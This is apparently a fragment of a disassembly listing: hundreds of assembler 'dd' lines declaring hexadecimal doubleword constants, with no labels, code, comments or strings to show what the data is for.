		dd 0ACB80D30h, 0DFC13051h, 0A704752Bh, 86682C54h, 8F62792Ch
		dd 9C17347h, 2E05D231h,	0FE7AE06Ah, 0B050CA00h,	5EB252EBh
		dd 8E20DC0h, 84F280h, 0CA6853D9h, 5D8C704Ah, 0B97640CEh
		dd 8E360517h, 0B03EAE0Bh, 0BC6DE9B6h, 525B09E7h, 7F16DD0Bh
		dd 0F52DE913h, 6094B29h, 0E91D6768h, 63292E4Eh,	642EF755h
		dd 725A7D5Dh, 0F2E9127Fh, 0A9E26407h, 2868C202h, 20385914h
		dd 20584525h, 0C80ABFB4h, 0C235CE68h, 23342792h, 1D5D58C1h
		dd 0DCFA9FECh, 9C81EEBh, 0C5E60C98h, 8084899Dh,	970E6D1Ah
		dd 140D319h, 213CFA7Fh,	0F58F40D5h, 922C0865h, 425BB18h
		dd 1EF905D7h, 87D64A7Ah, 4AC48E60h, 73BF007Ch, 3E108140h
		dd 4324FD31h, 1CB781D9h, 97DBCF80h, 640CED06h, 244A0639h
		dd 85F817E9h, 3109EC68h, 0E8585481h, 1A9F3BAFh,	7F719817h
		dd 0B8508042h, 0B7D2A00h, 1F12BF4Bh, 310C0B27h,	0D58B58C7h
		dd 0F7B0DE6Bh, 40333D50h, 3E5AC029h, 0F20F4A3Eh, 0FEE58D80h
		dd 65E9E052h, 141D530Dh, 704365Fh, 0F4BE02C1h, 45A4B802h
		dd 5355A821h, 655413F0h, 930CA9Ch, 560F68C3h, 574D3E44h
		dd 0EB5125BAh, 0A8700018h, 0C1731D07h, 0E1BA06E7h, 0BBF5016h
		dd 21812C13h, 5BA446E9h, 254622BFh, 3B9B09E7h, 7C68D2C9h
		dd 0C8B6A4F6h, 4CF79910h, 456B187Fh, 9C018B34h,	2CE15367h
		dd 0EA379238h, 0D27996E1h, 59B682E5h, 405FBF00h, 0DA146920h
		dd 0E6EF1C80h, 83F5A977h, 985CD0Ch, 1EEDE01Bh, 15441214h
		dd 4D3B101h, 0C2C91D08h, 55635496h, 56EBFE80h, 51E2C46h
		dd 7C4C26Bh, 0C01CC529h, 0EB43572Dh, 5D09EE21h,	4E6C146h
		dd 1E94AAF5h, 0EF18E340h, 0B558C601h, 94E95701h, 19512CCBh
		dd 3AE5BDFh, 0D330EFCDh, 5D714041h, 0DA52ADBEh,	0B4017127h
		dd 0AD006965h, 33ED3F42h, 6E06BD0Ah, 0CD07C8E3h, 0D839648Eh
		dd 42500903h, 0BF0007F9h, 2C8A1720h, 4AD53158h,	3E9C421h
		dd 344C4378h, 3C7E83A2h, 0C2C92E3Eh, 38DD2587h,	7E0C141h
		dd 39CD108Fh, 0C5362D83h, 0F47C21E3h, 0A63E2190h, 63DFD93Fh
		dd 0E902A022h, 3A8F7705h, 56EFD829h, 2D13BEACh,	1A1AE433h
		dd 0F286DF0h, 5B27DA3Ch, 68E15DF7h, 367019D0h, 0D701800Bh
		dd 278988A0h, 0D4FA3D7Ah, 965A6849h, 2141A72h, 0C102342Ch
		dd 45D578EDh, 0FDA30001h, 5150B05Dh, 4C18D69Dh,	8B243877h
		dd 92757739h, 80541706h, 19FC591h, 128B6B4h, 47DFD462h
		dd 0E905F0A0h, 3D2FA520h, 0A297F1BEh, 1EB8090Dh, 0D2C5DB1Ah
		dd 7025E904h, 877C8801h, 65C2E501h, 4D636726h, 0FA089627h
		dd 0DF680530h, 5377400Dh
		dd 0D7F607B7h, 0BC6FE913h, 9BD7088h, 7E533DD2h,	5050328Bh
		dd 721161E9h, 0C06E4D79h, 0FDE95056h, 0D847CCE7h, 7A9E1CCEh
		dd 2ABB7262h, 843F018Dh, 0F4CD89FEh, 0BBA82B93h, 58C003EAh
		dd 0EB36EDA2h, 5AD70989h, 4890F821h, 3FB4C5C3h,	0C1115E47h
		dd 193F06E5h, 7C050C3Dh, 0A39F006Ah, 0D689647Eh, 0BE1532E9h
		dd 0A556F27Fh, 29593CA4h, 0CDED8741h, 11715A02h, 6C0266A6h
		dd 7E79CC7Eh, 0EA72869h, 2E9D59AAh, 765342DEh, 10403121h
		dd 630B9B51h, 2E91E9CFh, 0BAF1A6CAh, 428C9658h,	74648E68h
		dd 3000535Ah, 670D4048h, 2B87E6Eh, 6545512Dh, 36C22963h
		dd 99AF25D1h, 0BE08FEE8h, 0C28067C3h, 58C5C276h, 0ACBD05CDh
		dd 4071D0Dh, 12DC4FD6h,	89A21985h, 4B3B606h, 0DB5C90D1h
		dd 3768A0BEh, 0BC95B13Fh, 8835C712h, 8049E9B3h,	87591A49h
		dd 42F75C5Bh, 7AF11599h, 894B732Eh, 421D7919h, 2DF01FE9h
		dd 431E0504h, 0F1846089h, 8ECDE5D4h, 7A59DE38h,	5220E93Ah
		dd 2723C980h, 1101512h,	8066EB1h, 164E0B1Ch, 0B804380Ah
		dd 0AD0ED096h, 20707F83h, 0B0840F38h, 77EE4B11h, 68713031h
		dd 0E85DD20Ch, 330D6140h, 0C6D48959h, 6C770CF9h, 120FD19Bh
		dd 4B015FFEh, 38FA2FA9h, 91F38160h, 569CBF65h, 18BE9C57h
		dd 5EF74508h, 213A8BE7h, 0AC056CF0h, 4E5148F2h,	0B1485907h
		dd 0C0E9F44Dh, 0C83C13Dh, 171FCE3Ch, 0D98C5ECFh, 2DCF9C08h
		dd 17350230h, 0C6A818B7h, 9C6B0761h, 80DEF74Fh,	39324EF6h
		dd 89619758h, 295F2566h, 0DAF01900h, 56019E88h,	0E913ECF5h
		dd 0D4EC87B7h, 4C9AE054h, 0F6C2039Fh, 4C0450D2h, 414A4B99h
		dd 0E6483729h, 80C307Ah, 75FF4FCh, 80C24228h, 0BDD32C3Ch
		dd 27EACB40h, 0FC342851h, 2CDD9465h, 7D96149Ah,	5DCA2438h
		dd 16B99AEEh, 0C600D4DBh, 0AF66FD99h, 20772B09h, 2BCD69C1h
		dd 0B909CD20h, 37177Eh,	0AD3AC041h, 0B2AB865h, 1B74A92Bh
		dd 6F0125A0h, 52585D20h, 2A39005Ch, 0F7931643h,	6E8EE7D0h
		dd 5DCB2B65h, 0D205D1Ch, 10326631h, 86000630h, 885366E2h
		dd 1DD3F6E3h, 0DE505152h, 58C14FD8h, 2059CE86h,	0DC16F37Bh
		dd 0A9105A5Bh, 51501F1Ch, 0D9306A6h, 24511A99h,	7B3C3966h
		dd 4EDE4DDEh, 9A115199h, 5D97259h, 49233B50h, 0EC9130C1h
		dd 536B8636h, 391CCA8Bh, 0A59C7BBAh, 0E2835BB8h, 0F9FFB153h
		dd 82BE242Bh, 0AD00031Bh, 9743EF68h, 70C03818h,	0E93E910Bh
		dd 16D2257h, 80F689CEh,	592E1D1Dh, 3148CD33h, 0E90D8B06h
		dd 0BF446175h, 0B22D4C40h, 0BC93A5Dh, 5C6D4B80h, 4DB0E967h
		dd 81D45081h, 0C27FF251h, 5456583Bh, 0C4EA8A4Bh, 706BBE79h
		dd 0DC534B97h, 3BA8BB61h, 305378Dh, 5D80156h, 0A900716h
		dd 0B0C8855Ch, 0B7BA2004h, 0A5F35E04h, 3BC16203h, 2B38654Ch
		dd 0D092159Eh, 0D5C8891Fh, 3B49AB9Fh, 0BDAB284Eh, 0E2268998h
		dd 0D103A11Ch, 121F195Fh, 0F5FA41B6h, 0E456D182h, 559EDA32h
		dd 0A24C5759h, 5FF80401h, 0BD6D2AE9h, 34B1D6C6h, 0A9B46F3Ch
		dd 5874040Ch, 76C34732h, 8872BB07h, 822F17E9h, 0B61C8156h
		dd 2A68093Ah, 15A97934h, 71518E2Ch, 1F61BDF8h, 4A594AC3h
		dd 82B44C98h, 5BBA8E72h, 0DFB0F258h, 0C10FCF90h, 70D67FC8h
		dd 45B3E938h, 4A505230h, 7D5F0B4Bh, 2F45B152h, 0CCED2C9Dh
		dd 0E7C0A680h, 0C739FE05h, 50A3880h, 1C8B5BF8h,	0E9C3BEB2h
		dd 0B127350h, 35A3B6CEh, 5E546A62h, 0E9E2E8D1h,	272B5C12h
		dd 7442210Bh, 57937EC5h, 74823C03h, 0DF580598h,	0D0B1E95Bh
		dd 0C00BB2EAh, 8005E21Ch, 0D7D0A4CEh, 78003113h, 28585AD3h
		dd 6AE913DDh, 1273B670h, 2D16E789h, 0C3294345h,	31852FA2h
		dd 0CF1C8FBh, 252BD40h,	477D4A68h, 1BC45A3Fh, 0FBC25EEAh
		dd 0DEF1AEE9h, 5CB48237h, 2EBAE788h, 0C7007EF6h, 0E9FA3006h
		dd 0A3496360h, 0E0D70459h, 0B551C9EBh, 8A5F7B7Fh, 0F0B80300h
		dd 0F475375Ah, 570E492Dh, 0C75BD81Dh, 34C72102h, 0D309EC55h
		dd 0E9C221F6h, 8AF93CB8h, 0FBA0AEABh, 8B60544Ch, 24FD50DDh
		dd 1649F988h, 24FCE31Dh, 6884B554h, 1EB8426Bh, 4C1BADC5h
		dd 0E428DFF4h, 24085A80h, 183C5BFEh, 0F6800DD0h, 0F5303F03h
		dd 764C31E9h, 63E02B1h,	0D9292132h, 3BF9C58Dh, 0A94F2E25h
		dd 825109C8h, 0DE770732h, 699E956h, 0DDB61488h,	4643EF21h
		dd 1691E2Eh, 0EF5A5C57h, 0C92FA4E5h, 92A36EFh, 73055B6Ch
		dd 849AB202h, 99EC05E9h, 0A35D5412h, 0A3D1D2D5h, 61285C65h
		dd 616EB2C6h, 4A9304B2h, 49148709h, 0B4343B4Fh,	51D540D0h
		dd 7A2046B0h, 22574AD1h, 0E9383C6Fh, 9146604Eh,	0F48DBEF5h
		dd 60B86C04h, 0D9A882EDh, 7C92CF20h, 0A50AFFA3h, 0FA6D1B68h
		dd 5CB4C7C2h, 54496408h, 1E588526h, 0AB6F9ACAh,	6727DFE8h
		dd 5CEDB286h, 83A5A82h,	0E3F82802h, 0EA82CA13h,	0AB0B84C8h
		dd 0D17E40B4h, 493DE93h, 1DDCB208h, 8117BE9Bh, 0D260EE29h
		dd 62DDBC02h, 87FAB665h, 0CC0B890h, 0C09BCB80h,	0E60376EBh
		dd 0C728486Fh, 42A26813h, 3AD1E9C1h, 20FDD449h,	31454BFh
		dd 5BC114C6h, 27E9B7DCh, 719020C2h, 384B6568h, 5046D31h
		dd 2B8B54Ch, 6EE32ED7h,	0AD49A5E9h, 0E2BAD4BEh,	0D6146F4Ah
		dd 8E72586Eh, 33E9CF29h, 7ABD19A0h, 2516151Bh, 686B7E68h
		dd 0C9778602h, 0FADA7A2Bh, 2502BB71h, 0BED0DC0h, 0A30266BBh
		dd 0DA457F2Bh, 79860B28h, 0AF842565h, 3C8016E6h, 0E5571CE3h
		dd 9610B461h, 70B65259h, 39ECE5F1h, 6B1BBC19h, 0E76BB22Eh
		dd 44B30F9h, 0E4E4DAB7h, 0EA160B4Ch, 57005A7Bh,	0E216D2Fh
		dd 0A8CB293Fh, 879B08EBh, 23BCAA2Ah, 204A52C2h,	9D5165C1h
		dd 9FA301F2h, 5D0809F5h, 0C3B61C04h, 0F6E841DFh, 0F5094014h
		dd 4151E90Ah, 88383343h, 2A19C99Eh, 24049A24h, 0F9F09C12h
		dd 59B3402Bh, 2117D093h, 0AE97CE0h, 46FE6806h, 5AD9A41Ch
		dd 7A50BB20h, 82A11D0Ah, 680740F2h, 289129FDh, 0CCD5A5B9h
		dd 0E6E91384h, 0B91D49D8h, 88056490h, 4A5B5300h, 10AAA2Dh
		dd 0CAA59821h, 46D25D2Bh, 0C733E7D3h, 0B24F1AB2h, 8361FEE7h
		dd 0EB0CA2BAh, 0D4F4B497h, 43CD5D2h, 123DF77Dh,	7119D9E2h
		dd 25D8813Bh, 6992EB0Dh, 0F604B464h, 0A7D4E79Ah, 2912ECB7h
		dd 1663166Fh, 0CA7EE01Fh, 2280E0Bh, 6AAD865Fh, 0CB1C20EDh
		dd 22BFA797h, 60541AA8h, 799475CAh, 0B5DAE916h,	380F7645h
		dd 5188E2FDh, 6B4AF93Eh, 0FD2DF49Ah, 734FF862h,	0D091AA9h
		dd 97377946h, 0D3DEE3h,	0AE8C15Ch, 5D97C831h, 2956B157h
		dd 0E625E91Dh, 5ADA53C1h, 1EF24A70h, 1B40CC90h,	0A30C4DD2h
		dd 4B1DB10h, 279F6850h,	8AB5F2F8h, 18052F75h, 12F9CBCh
		dd 0E281462Ah, 20697301h, 0EA638E96h, 0BB028F58h, 9E6743A8h
		dd 0E9C23091h, 0FF014599h, 79E13877h, 0BE02772Ch, 0A565F009h
		dd 7EE7EE78h, 202EFC54h, 615C615Ah, 0C5781358h,	54560101h
		dd 80B7A260h, 44EE5553h, 0F21020BDh, 0B612FB80h, 0E45A13E8h
		dd 0E92D522Ch, 7E8AB3Fh, 5B9379DEh, 50132E0Bh, 2D0C2A16h
		dd 0E3A66855h, 2B40265Dh, 5EB4F84Ah, 662CCC79h,	0AF0424Ah
		dd 281A09E6h, 7F007E90h, 69B27A58h, 605FE925h, 98F13136h
		dd 0F2C90CF9h, 0A9928370h, 2C9D3B4Eh, 49C533Fh,	0C9434881h
		dd 9591A049h, 67CDDD4Ah, 0F84A8D2Ah, 0FC9859CEh, 31E95E40h
		dd 0FBB11711h, 721C305Fh, 0F42A4C24h, 14338A09h, 0C5A79E34h
		dd 0FE6CB013h, 0E59BC251h
		dd 80A324A0h, 0EBBAE127h, 59087ED9h, 874FD866h,	0E1768418h
		dd 84A32898h, 5209D844h, 6E3D8EBBh, 75688250h, 0F063E425h
		dd 0DA8F0117h, 0D0899C1Bh, 0CBA1CEE9h, 666EFA68h, 90022FB5h
		dd 1D2F4BF3h, 0AC016C30h, 260820B0h, 0A509B1E9h, 0D1084853h
		dd 0AB0D014Fh, 2B44105Fh, 0A9D460C9h, 5DC2352Bh, 3E59A94Eh
		dd 84995D64h, 0C55029B1h, 8B4B3907h, 225AB32h, 0F0A5804h
		dd 0AC2E28DEh, 63095748h, 826BEAD7h, 4C545102h,	40E91807h
		dd 34C65F4Bh, 0B52B9800h, 15EF029h, 5C0505F8h, 8432F215h
		dd 0B10A9051h, 0E112287Fh, 795D6658h, 8A8A52F2h, 4938E52Ch
		dd 0D3F7162Eh, 0C275BE0Fh, 442968C0h, 0ECE91830h, 5F5B9EC2h
		dd 0DE9612BDh, 65767AE0h, 5B296AA7h, 0E95383E4h, 5202EDA3h
		dd 4777EB2Dh, 60174258h, 93EADD5h, 0D6F720B1h, 4BB0A100h
		dd 0CC06783h, 0E08AFD09h, 22F04C01h, 673BB9C0h,	292443D6h
		dd 191376CAh, 8EF86B75h, 6894985Fh, 0E2936671h,	75C42081h
		dd 0F265F6E9h, 0B4FC123Eh, 0D15E98ACh, 54556C70h, 1068165Dh
		dd 0BB003073h, 6E725BBAh, 0DFEBC128h, 2328A20h,	0AD3350BFh
		dd 75608147h, 11482B0Ch, 6ECD0558h, 8200482Dh, 8B2170A1h
		dd 5EF73A29h, 0B45FFE92h, 0DF4ED10Eh, 0D437BFD2h, 0DB253C8Bh
		dd 94157C24h, 0C8F5C44Bh, 0AE60D10Ah, 44CCEFBBh, 74126B22h
		dd 0AA08A01h, 19852F59h, 0CE5D0CE3h, 64AEB085h,	9249F27Eh
		dd 391731B2h, 0CD68891Ah, 0F0303AE7h, 0EC0B850h, 0E96FD90Bh
		dd 965DBFDAh, 3BE85981h, 7EEBD01h, 0EA0949B7h, 6820C760h
		dd 6BA04082h, 850F8024h, 0FDC0E02Ch, 9906B18Bh,	0E90083C3h
		dd 0E8951357h, 25D908CFh, 2AD0781Eh, 0C803E44Bh, 0B03063B2h
		dd 1FC5805Ah, 0DAE828EEh, 494039D3h, 43135EEAh,	6FA23F50h
		dd 0E9D121C0h, 69C0478Fh, 0DE5605F2h, 0D21AD132h, 0BC598F44h
		dd 6DB12788h, 16D201F9h, 6086EE11h, 7C902B1Fh, 0EE505E25h
		dd 0C38B58BFh, 3C0EA3C0h, 0C65D682Ch, 91E9164Ah, 0EEF71AF4h
		dd 8119C084h, 25342FCEh, 1EFC6658h, 0E380ACB7h,	69E9D631h
		dd 0EC24BAE5h, 34EB5AFBh, 9C23A01Dh, 62345D01h,	6FA2CA81h
		dd 5E9763F1h, 14FC8FFh,	6E4DDF7Ah, 0C62807B9h, 0F3055866h
		dd 0A6C3AF04h, 3B756191h, 3C251072h, 615C9000h,	582F7D69h
		dd 0A7236D51h, 7B0B1C0Fh, 0C007B650h, 0C78007E7h, 0CCF93092h
		dd 2CE9F693h, 3B4D2860h, 0D89DF6BAh, 0EABA3E2Ch, 6425723Bh
		dd 0B707D814h, 94B151F5h, 306F3A0Dh, 80E8B54Fh,	0FEC7ED09h
		dd 0DC4705CDh, 5C014FF0h, 0D4B486C2h, 52EAC23Bh, 2834820Fh
		dd 4BABC0F8h, 0DFB297B7h, 56C2AF40h, 2925111Dh,	8ED28BCh
		dd 0F689585Bh, 7DB06124h, 2837B823h, 1C205EA9h,	0CFB8D861h
		dd 0A7A9EE29h, 0F280915Eh, 251DC9D4h, 8BD01601h, 0C2FDF714h
		dd 4B6F77E9h, 0D04DB25Dh, 0E3C01830h, 80060605h, 88EDF312h
		dd 9C9F19E9h, 0B050C3E1h, 0F6B8FE27h, 7834E9D8h, 39678AADh
		dd 5465EDD2h, 0C1824050h, 188738Ah, 4F49B8CFh, 0B621401Ah
		dd 19685302h, 0B0E4494Ah, 224E5B57h, 3DD1AFE6h,	56AC4B09h
		dd 0B105928Bh, 53D12AC8h, 5B03664Eh, 57A19E44h,	0AAF94E9Dh
		dd 6BB0DCB7h, 0AF220910h, 0C6E6209Dh, 0F64B4F91h, 15B40B5h
		dd 0FD8C82BFh, 0D695CA5Fh, 0FA097946h, 0FF52122h, 5E5B0B85h
		dd 0C44FD6D2h, 8F848160h, 78617B2Eh, 20411858h,	5E00ABD4h
		dd 0EF90DBF7h, 0D809BF0Eh, 0EEC3C050h, 0B8EF67F6h, 6C6002B2h
		dd 0DA011B93h, 8027162h, 19486DE9h, 0A00BB753h,	0C308EFC0h
		dd 2FD9AA40h, 9406B3C4h, 52B50305h, 0EC95DA88h,	0CBEE73ABh
		dd 124CE915h, 64C23785h, 0DFE841E3h, 0A5A980D6h, 7926BC98h
		dd 0FA25BEC1h, 5CF0C144h, 0EED121BFh, 96B215Dh,	3404EBAh
		dd 0CCEBE2C1h, 769007EAh, 29227F09h, 1BD0A6Bh, 2028C4ADh
		dd 881C072Bh, 0E3C359CCh, 0FB548A58h, 5D5CD202h, 0C7D12A0Bh
		dd 0B17CC23Dh, 8DC50727h, 0C20162Fh, 682DB301h,	1C51E97Fh
		dd 2CDEA7A4h, 461A00B1h, 0C3016726h, 80CC3A2h, 0DD4FE9FDh
		dd 4AE7EB17h, 2E82E78h,	0D2205B66h, 393FB1F5h, 954450D0h
		dd 2B896329h, 62D6A100h, 0F71E26E0h, 1FFA87D9h,	34F931D7h
		dd 0D4C008CFh, 0A1E68ECh, 0D995E922h, 71056FCCh, 0C466E8E0h
		dd 36881958h, 30AA419Eh, 12738A26h, 52D5C48h, 576C26CDh
		dd 7701C31Fh, 5F6838B1h, 0B90A8C3Bh, 974ED905h,	8FF8318Ch
		dd 0A807D312h, 0C9B0D6A1h, 0EBCD6B5Bh, 0DA255278h, 81175958h
		dd 4ED34701h, 7AB9F85Bh, 0DB607BB4h, 0C173C145h, 63D9D7E2h
		dd 5D43204Bh, 34F93503h, 0FAE9DA29h, 2C2CE42Bh,	0CC7CCC3Bh
		dd 0E0F853AAh, 0DACD015Bh, 5D2C1945h, 0C0D84E30h, 60CD6834h
		dd 35959097h, 0FBF63080h, 0F0302506h, 22F9449Dh, 5CD205B3h
		dd 560C908Ah, 59A5E2E9h, 0D652DA96h, 6BBB422Dh,	93C28803h
		dd 5AB4CAD3h, 7BC107F5h, 6F371101h, 0C45F7D80h,	0D99631CBh
		dd 59D21D09h, 0C712328Ch, 5F16AA50h, 8CCAFB01h,	7AC4532Dh
		dd 0D2C0B029h, 0AB731ABCh, 4CF56111h, 9F2BFB35h, 1B104A9Dh
		dd 32D04D6h, 9E802145h,	607E54CBh, 0AE5E0C0Dh, 0AFBE13C6h
		dd 3302A22Ch, 0DC09CD64h, 94E9057Ah, 0F58D3430h, 4856417Eh
		dd 8295AFA9h, 0BE16B57h, 3C06E88Fh, 314BF15Fh, 4BB9A1D4h
		dd 1105385h, 0D42EF75Eh, 0E3F1315Eh, 0C081895h,	264F038Fh
		dd 4A588E82h, 7283A9Fh,	0B08F72Bh, 9A07C159h, 45793081h
		dd 0D5A0221Bh, 3F0E8426h, 0E6CE0178h, 124EFC39h, 63635D68h
		dd 30908576h, 0D65A0194h, 0AE8469CDh, 0A16F3538h, 11A2B507h
		dd 134AE8CBh, 0E981600Bh, 8DAB2869h, 7DCD54E3h,	0EBD12AE4h
		dd 0C40448E7h, 5D26B0DDh, 4B7DE995h, 9953BB64h,	0D468885Dh
		dd 7CEF224Bh, 0B85003CAh, 7A4DE0FFh, 22FED12Dh,	0DC0D7807h
		dd 851B450Ah, 0F191C37Eh, 0C73002EDh, 6AFB0B9Dh, 218E297Ah
		dd 4350D74Bh, 0E7FA25B7h, 4044E49Ch, 1603BEB8h,	4E617725h
		dd 70B2E257h, 0D8280FC2h, 0D0A4B151h, 0D53484E1h, 0ED9FFC29h
		dd 5328F836h, 0DA1C4140h, 0A7B32E48h, 76BA18EEh, 3FD6BF05h
		dd 4FC2197Eh, 2105001Dh, 18391528h, 0ABB35h, 48E8D155h
		dd 12DD8F7h, 93CDBB7Bh,	0C3E9C689h, 0B002A8BEh,	0CC8FEF9h
		dd 0B51C1BAh, 20DDF701h, 82BA622Ah, 52E85960h, 7EFE75B2h
		dd 0F6FC20C2h, 8B895CB1h, 2652532Ch, 8A608A8h, 69D85E16h
		dd 0C1074464h, 5B19A095h, 981C4F09h, 0A77D3333h, 0C0A8B560h
		dd 801703E5h, 0EFBF5h, 68D80259h, 90BFF8D1h, 8D674B53h
		dd 55192419h, 395ABD09h, 0C58F8164h, 3FC85872h,	0FAD55DF7h
		dd 0DAF5871Dh, 0F60B08D6h, 0F24A74E2h, 0B154D4F6h, 0A0E961DAh
		dd 251C2901h, 0CC3C43F7h, 40AA54E0h, 82000D41h,	543C247h
		dd 6714C4h, 10592D7Bh, 33E9CCFBh, 81830848h, 34DA64C2h
		dd 9E68FDEDh, 195F465Bh, 0EE059345h, 8B16F6B7h,	0A2B9B285h
		dd 0E9F20114h, 41BEC24Ah, 8B28B60h, 291D6017h, 0E9500202h
		dd 5C04487Bh, 0A2BE2856h, 254B7CF2h, 91D2216Fh,	0B951F01Eh
		dd 0B7EC6CCAh, 2718DD08h, 99BD5346h, 9F255424h,	16D35B62h
		dd 0B95B2DDDh, 9139DF3Dh, 343AE3CDh, 5889A2EDh,	0E958059Bh
		dd 0B8FD371Ah, 43F54Ah,	6D364E85h, 0CA010A16h, 0C08EF10h
		dd 0DAD68959h, 0DAE918EEh, 5FFD6F3Ch, 34094D58h, 10C1513Bh
		dd 1228A638h, 0C05CD69Fh, 6404AC0Fh, 149D8C90h,	9FB200A6h
		dd 0E93BC280h, 41C9E6E7h
		dd 0AA196C0Ch, 0DC30689h, 0ED810265h, 2B6D187Fh, 2BE04E61h
		dd 14777741h, 3ED7CC9h,	0A05AA264h, 0F4555EF1h,	9589E56h
		dd 91055B04h, 436C52Ch,	14B5F2A4h, 4D310786h, 0D6BF0F62h
		dd 95B124Eh, 4BE479CBh,	961580Ah, 752A5753h, 5DB42884h
		dd 6B82B244h, 6E41F30Bh, 253339D3h, 788A2BC2h, 3D39060h
		dd 78D14863h, 94FCE940h, 68EF308Bh, 0C99D0693h,	5C0254D0h
		dd 0A3C172C0h, 12382C3Eh, 3A293A98h, 16C2CA2Ah,	42B3A562h
		dd 441A8004h, 4F78258h,	573EA480h, 0E976674Bh, 680E31B2h
		dd 13053947h, 6A3EFD72h, 9F95CF1h, 0BE7965EEh, 29CEE5ADh
		dd 6855605Dh, 0DC147D9Fh, 6EE5D31h, 114151DDh, 9F81B590h
		dd 2095E102h, 0A75E613Bh, 53D88790h, 34647BB3h,	0F816F0A2h
		dd 84F788Fh, 1EBA5484h,	6AD50886h, 0F6BD5D13h, 7AC23196h
		dd 188E3E20h, 4B15F74Eh, 555407E6h, 8BEA9408h, 0FC4EA4B4h
		dd 50F82A90h, 0D108AF09h, 0CB9704EFh, 0BE52AC04h, 0A2EA9328h
		dd 63CA7432h, 0BF94DBE9h, 0E43B2F77h, 0D8BE20EEh, 84AA89B5h
		dd 660122BFh, 0D12DD4BBh, 1AB9D851h, 9251D7Ah, 2DF6D0CBh
		dd 6E0D3F7h, 10CF36D2h,	0F681A1DEh, 0A8F77E0h, 0FB0C1E6h
		dd 0EC13B6CEh, 3EEE0E46h, 292DBEBFh, 49CF34E3h,	0B54B47F8h
		dd 0BADE6E1Bh, 25DCF47Fh, 839F6153h, 0E9D1613Bh, 0CC5053DCh
		dd 0E652C188h, 5299F6CAh, 9604BE1Bh, 8020805Eh,	8A0EBB52h
		dd 101E30F5h, 831BB895h, 0B328EDEBh, 275780C6h,	0DDAFEF04h
		dd 2EF129EDh, 33AC12Bh,	43BA00F1h, 2ECC4C61h, 20CEA83Bh
		dd 1C77092Dh, 6810FBBAh, 5A641986h, 4E20FE62h, 0F618E8C1h
		dd 0CF3860F8h, 232C40B9h, 0D422757Bh, 12C7090Fh, 0B9506930h
		dd 354B3DFAh, 262AF1B6h, 60D899E8h, 0A561795h, 80E941B8h
		dd 0C112D512h, 9FEDD128h, 1D660BE8h, 0E9CED60Ch, 98AC772Eh
		dd 944AF05Ah, 128B2416h, 68A0C17Dh, 5B8D3C32h, 0D8E54197h
		dd 5189E5BDh, 1709AC73h, 0B35398EEh, 0BF52F429h, 0FEC5D509h
		dd 263D4C36h, 80C64EE9h, 941573BDh, 0EA2F0122h,	6C3B255Dh
		dd 0F8E3C994h, 91D7668Fh, 6A2FBD6h, 78327814h, 0DD4797F3h
		dd 510906A2h, 5EF6E952h, 0DC7B27AFh, 1F9D2C3Eh,	525FA4h
		dd 7C4489E6h, 9429076h,	4A0B296Ch, 21FF5258h, 67FA646h
		dd 7ECD6889h, 0F991C68Bh, 0B4FA42FFh, 0E60408C4h, 1CED2F62h
		dd 2144BC80h, 5A5B922Ch, 1024A30Bh, 66252F57h, 554053F0h
		dd 9FD37809h, 0B018844h, 0E96E9D50h, 8D35D664h,	7A11822Ah
		dd 0D118E67Ah, 8108D2F7h, 0AB2005F1h, 88019280h, 0E62DE975h
		dd 0A25EA221h, 5CD3E9ECh, 0B55B7830h, 0D112766Eh, 72043E69h
		dd 82D0D7C5h, 0FA563ACBh, 0F74B121Ah, 833806DBh, 0F101F520h
		dd 0DCD5DADh, 59EC4F89h, 986F7FC1h, 0A4778FAh, 50DA5F73h
		dd 80C512D5h, 2EFC00Bh,	0A5738073h, 2886C701h, 0E36DE9F8h
		dd 1CA2B87Ch, 27927C3Ah, 0E98A9367h, 0FBA08FB8h, 1714F377h
		dd 9EAC6148h, 676C9542h, 0B889550Eh, 0D8123CF3h, 9659E3B0h
		dd 6FB2468h, 2A0C2AFDh,	614DF707h, 0E7606866h, 0E013014Ch
		dd 490EC447h, 0AF9FC424h, 56524705h, 275982h, 50C32859h
		dd 0F6FCB009h, 855909D8h, 708DD1E1h, 16800020h,	0C4267706h
		dd 520C80D0h, 2F4C4BBAh, 0D50901D8h, 315685Ah, 4DE1302Ah
		dd 0D6044ABAh, 8BE9F531h, 0CFDE3B1h, 8014246Eh,	8C6852CEh
		dd 32027316h, 0D8E4AAD1h, 0B1CCB700h, 0EB806E24h, 66F2253Eh
		dd 0F81EA0F3h, 0C44495A5h, 2FFD4E12h, 0D92F5FF1h, 45C880D0h
		dd 0BB198B69h, 1A0B797Ah, 6EB315Dh, 4E97181h, 0C1DD68A1h
		dd 4BE22984h, 457A5C9Ch, 14374E6h, 0C8A3FBD6h, 536B92C0h
		dd 0EDCDE07h, 1B852A45h, 0F9033312h, 0FC29AADBh, 0E8798F82h
		dd 1F62B860h, 491E8E6Ah, 0CB6658C2h, 3814E181h,	4F8D90B5h
		dd 868D2F12h, 0F9129326h, 4E55D026h, 55018847h,	3932EB81h
		dd 0AE9D0E14h, 0A2741F18h, 809CEEFEh, 3CA411C9h, 0E7569900h
		dd 27090E4Fh, 104904C8h, 34776680h, 0C7C60EDh, 0A1FB30E8h
		dd 293204B7h, 7A8C52C5h, 0A7A99B59h, 4C093CE7h,	0DF85AEA0h
		dd 6880C56Ch, 1FC94E1Ah, 442D0058h, 89B419D9h, 5378E9C5h
		dd 0E0CE9B5h, 0F60C7ACCh, 97E79AAAh, 0CF48414Ch, 850260Fh
		dd 80C2FE81h, 9CE92AF2h, 9EBB6C34h, 707A6095h, 29342730h
		dd 80BE0DFh, 0F689B25Bh, 0EBE985BAh, 8491AD26h,	7CEC5F54h
		dd 2A80BECFh, 0E6C1185Ah, 714E052Eh, 0CB42081Dh, 70E8E963h
		dd 2C3329E0h, 21299795h, 59FBDF7h, 27DB61B8h, 85A7E2F2h
		dd 152F6357h, 0AC1C70Eh, 0C1066E3Ch, 0B04A6FC9h, 0FB8DAC89h
		dd 74503DA7h, 2589A8BCh, 0E1FF7966h, 635A40E9h,	2BB84E0Dh
		dd 0E70E4213h, 0A56B34C0h, 38844BECh, 0DEADEC4Eh, 99E2BE4Bh
		dd 97433374h, 0C066831h, 5766B27Dh, 3D9A1A9h, 54BA7CC2h
		dd 7989BE97h, 7C0B62A3h, 1D700C02h, 10C20AC0h, 8932B72Fh
		dd 0FDB401B1h, 0EC43E204h, 50D7995Bh, 7AC4E8h, 762D7386h
		dd 0E9089C32h, 42E92854h, 2702CBB0h, 89C0B8FBh,	9CFF74D1h
		dd 0E23692E9h, 2E680BA5h, 883B5909h, 842D6177h,	0D4C0CDE8h
		dd 7F0A1D01h, 0A67E2571h, 0A7E8A218h, 5896C6B6h, 0A0252AA8h
